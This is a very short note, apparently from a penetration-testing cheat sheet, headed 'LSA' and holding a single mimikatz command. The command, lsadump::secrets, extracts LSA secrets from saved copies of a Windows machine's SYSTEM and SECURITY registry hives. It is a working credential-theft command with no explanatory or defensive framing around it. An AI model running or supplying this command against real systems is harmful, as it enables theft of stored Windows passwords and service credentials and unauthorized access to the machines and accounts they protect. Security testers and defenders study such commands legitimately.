LSA

mimikatz # lsadump::secrets /system:c:\temp\system /security:c:\temp\rfs